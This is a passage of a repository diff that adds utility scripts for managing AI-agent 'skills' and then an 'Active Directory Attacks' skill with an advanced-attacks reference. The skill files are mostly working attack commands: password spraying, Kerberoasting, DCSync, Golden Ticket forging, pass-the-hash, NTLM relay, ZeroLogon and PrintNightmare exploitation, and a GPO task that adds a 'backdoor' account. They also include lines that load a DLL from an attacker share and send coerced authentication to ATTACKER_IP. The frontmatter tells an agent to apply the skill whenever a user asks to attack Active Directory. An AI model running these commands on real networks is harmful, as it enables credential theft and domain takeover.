skill_info["name"] = name_fm.group(1).strip()
|
||||
if desc_fm:
|
||||
skill_info["description"] = desc_fm.group(1).strip()
|
||||
|
||||
# Fallback to Header and First Paragraph if needed
|
||||
if not skill_info["description"] or skill_info["description"] == "":
|
||||
name_match = re.search(r'^#\s+(.+)$', content, re.MULTILINE)
|
||||
if name_match and not fm_match: # Only override if no frontmatter name
|
||||
skill_info["name"] = name_match.group(1).strip()
|
||||
|
||||
# Extract first paragraph
|
||||
body = content
|
||||
if fm_match:
|
||||
body = content[fm_match.end():].strip()
|
||||
|
||||
lines = body.split('\n')
|
||||
desc_lines = []
|
||||
for line in lines:
|
||||
if line.startswith('#') or not line.strip():
|
||||
if desc_lines: break
|
||||
continue
|
||||
desc_lines.append(line.strip())
|
||||
|
||||
if desc_lines:
|
||||
skill_info["description"] = " ".join(desc_lines)[:150] + "..."
|
||||
|
||||
skills.append(skill_info)
|
||||
|
||||
skills.sort(key=lambda x: x["name"])
|
||||
|
||||
with open(output_file, 'w', encoding='utf-8') as f:
|
||||
json.dump(skills, f, indent=2)
|
||||
|
||||
print(f"✅ Generated index with {len(skills)} skills at: {output_file}")
|
||||
return skills
|
||||
|
||||
if __name__ == "__main__":
|
||||
base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
skills_path = os.path.join(base_dir, "skills")
|
||||
output_path = os.path.join(base_dir, "skills_index.json")
|
||||
generate_index(skills_path, output_path)
|
||||
119
scripts/skills_manager.py
Executable file
119
scripts/skills_manager.py
Executable file
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Skills Manager - Easily enable/disable skills locally
|
||||
|
||||
Usage:
|
||||
python3 scripts/skills_manager.py list # List active skills
|
||||
python3 scripts/skills_manager.py disabled # List disabled skills
|
||||
python3 scripts/skills_manager.py enable SKILL # Enable a skill
|
||||
python3 scripts/skills_manager.py disable SKILL # Disable a skill
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
SKILLS_DIR = Path(__file__).parent.parent / "skills"
|
||||
DISABLED_DIR = SKILLS_DIR / ".disabled"
|
||||
|
||||
def list_active():
|
||||
"""List all active skills"""
|
||||
print("🟢 Active Skills:\n")
|
||||
skills = sorted([d.name for d in SKILLS_DIR.iterdir()
|
||||
if d.is_dir() and not d.name.startswith('.')])
|
||||
symlinks = sorted([s.name for s in SKILLS_DIR.iterdir()
|
||||
if s.is_symlink()])
|
||||
|
||||
for skill in skills:
|
||||
print(f" • {skill}")
|
||||
|
||||
if symlinks:
|
||||
print("\n📎 Symlinks:")
|
||||
for link in symlinks:
|
||||
target = os.readlink(SKILLS_DIR / link)
|
||||
print(f" • {link} → {target}")
|
||||
|
||||
print(f"\n✅ Total: {len(skills)} skills + {len(symlinks)} symlinks")
|
||||
|
||||
def list_disabled():
|
||||
"""List all disabled skills"""
|
||||
if not DISABLED_DIR.exists():
|
||||
print("❌ No disabled skills directory found")
|
||||
return
|
||||
|
||||
print("⚪ Disabled Skills:\n")
|
||||
disabled = sorted([d.name for d in DISABLED_DIR.iterdir() if d.is_dir()])
|
||||
|
||||
for skill in disabled:
|
||||
print(f" • {skill}")
|
||||
|
||||
print(f"\n📊 Total: {len(disabled)} disabled skills")
|
||||
|
||||
def enable_skill(skill_name):
|
||||
"""Enable a disabled skill"""
|
||||
source = DISABLED_DIR / skill_name
|
||||
target = SKILLS_DIR / skill_name
|
||||
|
||||
if not source.exists():
|
||||
print(f"❌ Skill '{skill_name}' not found in .disabled/")
|
||||
return False
|
||||
|
||||
if target.exists():
|
||||
print(f"⚠️ Skill '{skill_name}' is already active")
|
||||
return False
|
||||
|
||||
source.rename(target)
|
||||
print(f"✅ Enabled: {skill_name}")
|
||||
return True
|
||||
|
||||
def disable_skill(skill_name):
|
||||
"""Disable an active skill"""
|
||||
source = SKILLS_DIR / skill_name
|
||||
target = DISABLED_DIR / skill_name
|
||||
|
||||
if not source.exists():
|
||||
print(f"❌ Skill '{skill_name}' not found")
|
||||
return False
|
||||
|
||||
if source.name.startswith('.'):
|
||||
print(f"⚠️ Cannot disable system directory: {skill_name}")
|
||||
return False
|
||||
|
||||
if source.is_symlink():
|
||||
print(f"⚠️ Cannot disable symlink: {skill_name}")
|
||||
print(f" (Remove the symlink manually if needed)")
|
||||
return False
|
||||
|
||||
DISABLED_DIR.mkdir(exist_ok=True)
|
||||
source.rename(target)
|
||||
print(f"✅ Disabled: {skill_name}")
|
||||
return True
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(__doc__)
|
||||
sys.exit(1)
|
||||
|
||||
command = sys.argv[1].lower()
|
||||
|
||||
if command == "list":
|
||||
list_active()
|
||||
elif command == "disabled":
|
||||
list_disabled()
|
||||
elif command == "enable":
|
||||
if len(sys.argv) < 3:
|
||||
print("❌ Usage: skills_manager.py enable SKILL_NAME")
|
||||
sys.exit(1)
|
||||
enable_skill(sys.argv[2])
|
||||
elif command == "disable":
|
||||
if len(sys.argv) < 3:
|
||||
print("❌ Usage: skills_manager.py disable SKILL_NAME")
|
||||
sys.exit(1)
|
||||
disable_skill(sys.argv[2])
|
||||
else:
|
||||
print(f"❌ Unknown command: {command}")
|
||||
print(__doc__)
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
114
scripts/sync_recommended_skills.sh
Executable file
114
scripts/sync_recommended_skills.sh
Executable file
@@ -0,0 +1,114 @@
|
||||
#!/bin/bash
|
||||
# sync_recommended_skills.sh
|
||||
# Syncs only the 35 recommended skills from GitHub repo to local central library
|
||||
|
||||
set -e
|
||||
|
||||
# Paths
|
||||
GITHUB_REPO="/Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills"
|
||||
LOCAL_LIBRARY="/Users/nicco/.gemini/antigravity/scratch/.agent/skills"
|
||||
BACKUP_DIR="/Users/nicco/.gemini/antigravity/scratch/.agent/skills_backup_$(date +%Y%m%d_%H%M%S)"
|
||||
|
||||
# 35 Recommended Skills
|
||||
RECOMMENDED_SKILLS=(
|
||||
# Tier S - Core Development (13)
|
||||
"systematic-debugging"
|
||||
"test-driven-development"
|
||||
"writing-skills"
|
||||
"doc-coauthoring"
|
||||
"planning-with-files"
|
||||
"concise-planning"
|
||||
"software-architecture"
|
||||
"senior-architect"
|
||||
"senior-fullstack"
|
||||
"verification-before-completion"
|
||||
"git-pushing"
|
||||
"address-github-comments"
|
||||
"javascript-mastery"
|
||||
|
||||
# Tier A - Your Projects (12)
|
||||
"docx-official"
|
||||
"pdf-official"
|
||||
"pptx-official"
|
||||
"xlsx-official"
|
||||
"react-best-practices"
|
||||
"web-design-guidelines"
|
||||
"frontend-dev-guidelines"
|
||||
"webapp-testing"
|
||||
"playwright-skill"
|
||||
"mcp-builder"
|
||||
"notebooklm"
|
||||
"ui-ux-pro-max"
|
||||
|
||||
# Marketing & SEO (1)
|
||||
"content-creator"
|
||||
|
||||
# Corporate (4)
|
||||
"brand-guidelines-anthropic"
|
||||
"brand-guidelines-community"
|
||||
"internal-comms-anthropic"
|
||||
"internal-comms-community"
|
||||
|
||||
# Planning & Documentation (1)
|
||||
"writing-plans"
|
||||
|
||||
# AI & Automation (5)
|
||||
"workflow-automation"
|
||||
"llm-app-patterns"
|
||||
"autonomous-agent-patterns"
|
||||
"prompt-library"
|
||||
"github-workflow-automation"
|
||||
)
|
||||
|
||||
echo "🔄 Sync Recommended Skills"
|
||||
echo "========================="
|
||||
echo ""
|
||||
echo "📍 Source: $GITHUB_REPO"
|
||||
echo "📍 Target: $LOCAL_LIBRARY"
|
||||
echo "📊 Skills to sync: ${#RECOMMENDED_SKILLS[@]}"
|
||||
echo ""
|
||||
|
||||
# Create backup
|
||||
echo "📦 Creating backup at: $BACKUP_DIR"
|
||||
cp -r "$LOCAL_LIBRARY" "$BACKUP_DIR"
|
||||
echo "✅ Backup created"
|
||||
echo ""
|
||||
|
||||
# Clear local library (keep README.md if exists)
|
||||
echo "🗑️ Clearing local library..."
|
||||
cd "$LOCAL_LIBRARY"
|
||||
for item in */; do
|
||||
rm -rf "$item"
|
||||
done
|
||||
echo "✅ Local library cleared"
|
||||
echo ""
|
||||
|
||||
# Copy recommended skills
|
||||
echo "📋 Copying recommended skills..."
|
||||
SUCCESS_COUNT=0
|
||||
MISSING_COUNT=0
|
||||
|
||||
for skill in "${RECOMMENDED_SKILLS[@]}"; do
|
||||
if [ -d "$GITHUB_REPO/$skill" ]; then
|
||||
cp -r "$GITHUB_REPO/$skill" "$LOCAL_LIBRARY/"
|
||||
echo " ✅ $skill"
|
||||
((SUCCESS_COUNT++))
|
||||
else
|
||||
echo " ⚠️ $skill (not found in repo)"
|
||||
((MISSING_COUNT++))
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "📊 Summary"
|
||||
echo "=========="
|
||||
echo "✅ Copied: $SUCCESS_COUNT skills"
|
||||
echo "⚠️ Missing: $MISSING_COUNT skills"
|
||||
echo "📦 Backup: $BACKUP_DIR"
|
||||
echo ""
|
||||
|
||||
# Verify
|
||||
FINAL_COUNT=$(find "$LOCAL_LIBRARY" -maxdepth 1 -type d ! -name "." | wc -l | tr -d ' ')
|
||||
echo "🎯 Final count in local library: $FINAL_COUNT skills"
|
||||
echo ""
|
||||
echo "Done! Your local library now has only the recommended skills."
|
||||
50
scripts/validate_skills.py
Normal file
50
scripts/validate_skills.py
Normal file
@@ -0,0 +1,50 @@
|
||||
import os
|
||||
import re
|
||||
|
||||
def validate_skills(skills_dir):
|
||||
print(f"🔍 Validating skills in: {skills_dir}")
|
||||
errors = []
|
||||
skill_count = 0
|
||||
|
||||
for root, dirs, files in os.walk(skills_dir):
|
||||
if "SKILL.md" in files:
|
||||
skill_count += 1
|
||||
skill_path = os.path.join(root, "SKILL.md")
|
||||
rel_path = os.path.relpath(skill_path, skills_dir)
|
||||
|
||||
with open(skill_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# Check for Frontmatter or Header
|
||||
has_frontmatter = content.strip().startswith("---")
|
||||
has_header = re.search(r'^#\s+', content, re.MULTILINE)
|
||||
|
||||
if not (has_frontmatter or has_header):
|
||||
errors.append(f"❌ {rel_path}: Missing frontmatter or top-level heading")
|
||||
|
||||
if has_frontmatter:
|
||||
# Basic check for name and description in frontmatter
|
||||
fm_match = re.search(r'^---\s*(.*?)\s*---', content, re.DOTALL)
|
||||
if fm_match:
|
||||
fm_content = fm_match.group(1)
|
||||
if "name:" not in fm_content:
|
||||
errors.append(f"⚠️ {rel_path}: Frontmatter missing 'name:'")
|
||||
if "description:" not in fm_content:
|
||||
errors.append(f"⚠️ {rel_path}: Frontmatter missing 'description:'")
|
||||
else:
|
||||
errors.append(f"❌ {rel_path}: Malformed frontmatter")
|
||||
|
||||
print(f"✅ Found and checked {skill_count} skills.")
|
||||
if errors:
|
||||
print("\n⚠️ Validation Results:")
|
||||
for err in errors:
|
||||
print(err)
|
||||
return False
|
||||
else:
|
||||
print("✨ All skills passed basic validation!")
|
||||
return True
|
||||
|
||||
if __name__ == "__main__":
|
||||
base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
skills_path = os.path.join(base_dir, "skills")
|
||||
validate_skills(skills_path)
|
||||
3
skills/.gitignore
vendored
Normal file
3
skills/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
# Local-only: disabled skills for lean configuration
|
||||
# These skills are kept in the repository but disabled locally
|
||||
.disabled/
|
||||
380
skills/active-directory-attacks/SKILL.md
Normal file
380
skills/active-directory-attacks/SKILL.md
Normal file
@@ -0,0 +1,380 @@
|
||||
---
|
||||
name: Active Directory Attacks
|
||||
description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
|
||||
---
|
||||
|
||||
# Active Directory Attacks
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Kali Linux or Windows attack platform
|
||||
- Domain user credentials (for most attacks)
|
||||
- Network access to Domain Controller
|
||||
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Domain enumeration data
|
||||
- Extracted credentials and hashes
|
||||
- Kerberos tickets for impersonation
|
||||
- Domain Administrator access
|
||||
- Persistent access mechanisms
|
||||
|
||||
---
|
||||
|
||||
## Essential Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| BloodHound | AD attack path visualization |
|
||||
| Impacket | Python AD attack tools |
|
||||
| Mimikatz | Credential extraction |
|
||||
| Rubeus | Kerberos attacks |
|
||||
| CrackMapExec | Network exploitation |
|
||||
| PowerView | AD enumeration |
|
||||
| Responder | LLMNR/NBT-NS poisoning |
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: Kerberos Clock Sync
|
||||
|
||||
Kerberos requires clock synchronization (±5 minutes):
|
||||
|
||||
```bash
|
||||
# Detect clock skew
|
||||
nmap -sT 10.10.10.10 -p445 --script smb2-time
|
||||
|
||||
# Fix clock on Linux
|
||||
sudo date -s "14 APR 2024 18:25:16"
|
||||
|
||||
# Fix clock on Windows
|
||||
net time /domain /set
|
||||
|
||||
# Fake clock without changing system time
|
||||
faketime -f '+8h' <command>
|
||||
```
|
||||
|
||||
### Step 2: AD Reconnaissance with BloodHound
|
||||
|
||||
```bash
|
||||
# Start BloodHound
|
||||
neo4j console
|
||||
bloodhound --no-sandbox
|
||||
|
||||
# Collect data with SharpHound
|
||||
.\SharpHound.exe -c All
|
||||
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
|
||||
|
||||
# Python collector (from Linux)
|
||||
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
|
||||
```
|
||||
|
||||
### Step 3: PowerView Enumeration
|
||||
|
||||
```powershell
|
||||
# Get domain info
|
||||
Get-NetDomain
|
||||
Get-DomainSID
|
||||
Get-NetDomainController
|
||||
|
||||
# Enumerate users
|
||||
Get-NetUser
|
||||
Get-NetUser -SamAccountName targetuser
|
||||
Get-UserProperty -Properties pwdlastset
|
||||
|
||||
# Enumerate groups
|
||||
Get-NetGroupMember -GroupName "Domain Admins"
|
||||
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
|
||||
|
||||
# Find local admin access
|
||||
Find-LocalAdminAccess -Verbose
|
||||
|
||||
# User hunting
|
||||
Invoke-UserHunter
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Attacks
|
||||
|
||||
### Password Spraying
|
||||
|
||||
```bash
|
||||
# Using kerbrute
|
||||
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
|
||||
|
||||
# Using CrackMapExec
|
||||
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
|
||||
```
|
||||
|
||||
### Kerberoasting
|
||||
|
||||
Extract service account TGS tickets and crack offline:
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe kerberoast /outfile:hashes.txt
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
|
||||
|
||||
# Crack with hashcat
|
||||
hashcat -m 13100 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
### AS-REP Roasting
|
||||
|
||||
Target accounts with "Do not require Kerberos preauthentication":
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
|
||||
|
||||
# Crack with hashcat
|
||||
hashcat -m 18200 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
### DCSync Attack
|
||||
|
||||
Extract credentials directly from DC (requires Replicating Directory Changes rights):
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
|
||||
|
||||
# Mimikatz
|
||||
lsadump::dcsync /domain:domain.local /user:krbtgt
|
||||
lsadump::dcsync /domain:domain.local /user:Administrator
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Kerberos Ticket Attacks
|
||||
|
||||
### Pass-the-Ticket (Golden Ticket)
|
||||
|
||||
Forge TGT with krbtgt hash for any user:
|
||||
|
||||
```powershell
|
||||
# Get krbtgt hash via DCSync first
|
||||
# Mimikatz - Create Golden Ticket
|
||||
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
|
||||
|
||||
# Impacket
|
||||
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
|
||||
export KRB5CCNAME=Administrator.ccache
|
||||
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
|
||||
```
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
Forge TGS for specific service:
|
||||
|
||||
```powershell
|
||||
# Mimikatz
|
||||
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
|
||||
```
|
||||
|
||||
### Pass-the-Hash
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
|
||||
```
|
||||
|
||||
### OverPass-the-Hash
|
||||
|
||||
Convert NTLM hash to Kerberos ticket:
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
getTGT.py domain.local/user -hashes :NTHASH
|
||||
export KRB5CCNAME=user.ccache
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## NTLM Relay Attacks
|
||||
|
||||
### Responder + ntlmrelayx
|
||||
|
||||
```bash
|
||||
# Start Responder (disable SMB/HTTP for relay)
|
||||
responder -I eth0 -wrf
|
||||
|
||||
# Start relay
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
|
||||
# LDAP relay for delegation attack
|
||||
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
|
||||
```
|
||||
|
||||
### SMB Signing Check
|
||||
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Certificate Services Attacks (AD CS)
|
||||
|
||||
### ESC1 - Misconfigured Templates
|
||||
|
||||
```bash
|
||||
# Find vulnerable templates
|
||||
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
|
||||
|
||||
# Exploit ESC1
|
||||
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
|
||||
|
||||
# Authenticate with certificate
|
||||
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
||||
```
|
||||
|
||||
### ESC8 - Web Enrollment Relay
|
||||
|
||||
```bash
|
||||
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Critical CVEs
|
||||
|
||||
### ZeroLogon (CVE-2020-1472)
|
||||
|
||||
```bash
|
||||
# Check vulnerability
|
||||
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
|
||||
|
||||
# Exploit
|
||||
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
|
||||
|
||||
# Extract hashes
|
||||
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
|
||||
|
||||
# Restore password (important!)
|
||||
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
|
||||
```
|
||||
|
||||
### PrintNightmare (CVE-2021-1675)
|
||||
|
||||
```bash
|
||||
# Check for vulnerability
|
||||
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
|
||||
|
||||
# Exploit (requires hosting malicious DLL)
|
||||
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
|
||||
```
|
||||
|
||||
### samAccountName Spoofing (CVE-2021-42278/42287)
|
||||
|
||||
```bash
|
||||
# Automated exploitation
|
||||
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Attack | Tool | Command |
|
||||
|--------|------|---------|
|
||||
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
|
||||
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
|
||||
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
|
||||
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
|
||||
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
|
||||
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Synchronize time with DC before Kerberos attacks
|
||||
- Have valid domain credentials for most attacks
|
||||
- Document all compromised accounts
|
||||
|
||||
**Must Not:**
|
||||
- Lock out accounts with excessive password spraying
|
||||
- Modify production AD objects without approval
|
||||
- Leave Golden Tickets without documentation
|
||||
|
||||
**Should:**
|
||||
- Run BloodHound for attack path discovery
|
||||
- Check for SMB signing before relay attacks
|
||||
- Verify patch levels for CVE exploitation
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Domain Compromise via Kerberoasting
|
||||
|
||||
```bash
|
||||
# 1. Find service accounts with SPNs
|
||||
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
|
||||
|
||||
# 2. Request TGS tickets
|
||||
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
|
||||
|
||||
# 3. Crack tickets
|
||||
hashcat -m 13100 tgs.txt rockyou.txt
|
||||
|
||||
# 4. Use cracked service account
|
||||
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
|
||||
```
|
||||
|
||||
### Example 2: NTLM Relay to LDAP
|
||||
|
||||
```bash
|
||||
# 1. Start relay targeting LDAP
|
||||
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
|
||||
|
||||
# 2. Trigger authentication (e.g., via PrinterBug)
|
||||
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
|
||||
|
||||
# 3. Use created machine account for RBCD attack
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Clock skew too great | Sync time with DC or use faketime |
|
||||
| Kerberoasting returns empty | No service accounts with SPNs |
|
||||
| DCSync access denied | Need Replicating Directory Changes rights |
|
||||
| NTLM relay fails | Check SMB signing, try LDAP target |
|
||||
| BloodHound empty | Verify collector ran with correct creds |
|
||||
|
||||
---
|
||||
|
||||
## Additional Resources
|
||||
|
||||
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
|
||||
382
skills/active-directory-attacks/references/advanced-attacks.md
Normal file
382
skills/active-directory-attacks/references/advanced-attacks.md
Normal file
@@ -0,0 +1,382 @@
|
||||
# Advanced Active Directory Attacks Reference
|
||||
|
||||
## Table of Contents
|
||||
1. [Delegation Attacks](#delegation-attacks)
|
||||
2. [Group Policy Object Abuse](#group-policy-object-abuse)
|
||||
3. [RODC Attacks](#rodc-attacks)
|
||||
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
|
||||
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
|
||||
6. [Trust Relationship Attacks](#trust-relationship-attacks)
|
||||
7. [ADFS Golden SAML](#adfs-golden-saml)
|
||||
8. [Credential Sources](#credential-sources)
|
||||
9. [Linux AD Integration](#linux-ad-integration)
|
||||
|
||||
---
|
||||
|
||||
## Delegation Attacks
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
|
||||
|
||||
**Find Delegation:**
|
||||
```powershell
|
||||
# PowerShell
|
||||
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
||||
|
||||
# BloodHound
|
||||
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
||||
```
|
||||
|
||||
**SpoolService Abuse:**
|
||||
```bash
|
||||
# Check spooler service
|
||||
ls \\dc01\pipe\spoolss
|
||||
|
||||
# Trigger with SpoolSample
|
||||
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
|
||||
|
||||
# Or with printerbug.py
|
||||
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
|
||||
```
|
||||
|
||||
**Monitor with Rubeus:**
|
||||
```powershell
|
||||
Rubeus.exe monitor /interval:1
|
||||
```
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
**Identify:**
|
||||
```powershell
|
||||
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
|
||||
```
|
||||
|
||||
**Exploit with Rubeus:**
|
||||
```powershell
|
||||
# S4U2 attack
|
||||
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
||||
```
|
||||
|
||||
**Exploit with Impacket:**
|
||||
```bash
|
||||
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
|
||||
```
|
||||
|
||||
### Resource-Based Constrained Delegation (RBCD)
|
||||
|
||||
```powershell
|
||||
# Create machine account
|
||||
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
|
||||
|
||||
# Set delegation
|
||||
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
|
||||
|
||||
# Get ticket
|
||||
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Group Policy Object Abuse
|
||||
|
||||
### Find Vulnerable GPOs
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
|
||||
```
|
||||
|
||||
### Abuse with SharpGPOAbuse
|
||||
|
||||
```powershell
|
||||
# Add local admin
|
||||
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
|
||||
|
||||
# Add user rights
|
||||
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
|
||||
|
||||
# Add immediate task
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
|
||||
```
|
||||
|
||||
### Abuse with pyGPOAbuse (Linux)
|
||||
|
||||
```bash
|
||||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## RODC Attacks
|
||||
|
||||
### RODC Golden Ticket
|
||||
|
||||
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
|
||||
|
||||
### RODC Key List Attack
|
||||
|
||||
**Requirements:**
|
||||
- krbtgt credentials of the RODC (-rodcKey)
|
||||
- ID of the krbtgt account of the RODC (-rodcNo)
|
||||
|
||||
```bash
|
||||
# Impacket keylistattack
|
||||
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
||||
|
||||
# Using secretsdump with keylist
|
||||
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
||||
```
|
||||
|
||||
**Using Rubeus:**
|
||||
```powershell
|
||||
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SCCM/WSUS Deployment
|
||||
|
||||
### SCCM Attack with MalSCCM
|
||||
|
||||
```bash
|
||||
# Locate SCCM server
|
||||
MalSCCM.exe locate
|
||||
|
||||
# Enumerate targets
|
||||
MalSCCM.exe inspect /all
|
||||
